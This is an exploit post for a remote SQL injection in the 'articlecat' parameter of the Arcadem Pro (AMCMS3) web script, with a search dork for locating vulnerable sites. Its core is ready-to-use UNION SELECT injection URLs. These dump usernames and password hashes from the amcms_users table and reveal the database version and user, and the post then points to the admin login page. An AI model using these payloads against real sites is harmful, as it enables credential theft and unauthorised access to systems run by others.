arcadempro-sql.txt

`|___________________________________________________|  
|  
| Arcadem Pro (articlecat) Remote SQL Injection Vulnerability  
|  
|___________________________________________________  
|---------------------Hussin X----------------------|  
|  
| Author: Hussin X  
|  
| Home : WwW.IQ-ty.CoM | WwW.TrYaG.CC  
|  
| email: darkangel_g85[at]Yahoo[DoT]com  
|  
|  
|  
|___________________________________________________  
| |  
|  
| script : https://secure.agaresmedia.com/index.php?page=arcadempro.php  
|  
| DorK : Copyright (c) 2007 Agares Media. Powered by AMCMS3.  
|___________________________________________________|  
  
  
Exploit:  
________  
  
  
  
www.[target].com/Script/index.php?loadpage=./includes/articleblock.php&articlecat=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10/**/FROM/**/amcms_users--  
  
  
USer version  
  
  
www.[target].com/Script/index.php?loadpage=./includes/articleblock.php&articlecat=-1+union+select+1,version(),user(),4,5,6,7,8,9,10--  
  
  
  
  
  
Admin LogIn :  
  
www.[target].com/admin/  
  
  
  
  
  
____________________________( Greetz )_________________________________  
|  
| All members of the Forum WwW.IQ-ty.CoM | WwW.TrYaG.CC |  
|  
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr  
|  
| Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone  
|______________________________________________________________________  
  
  
Im IRAQi  
`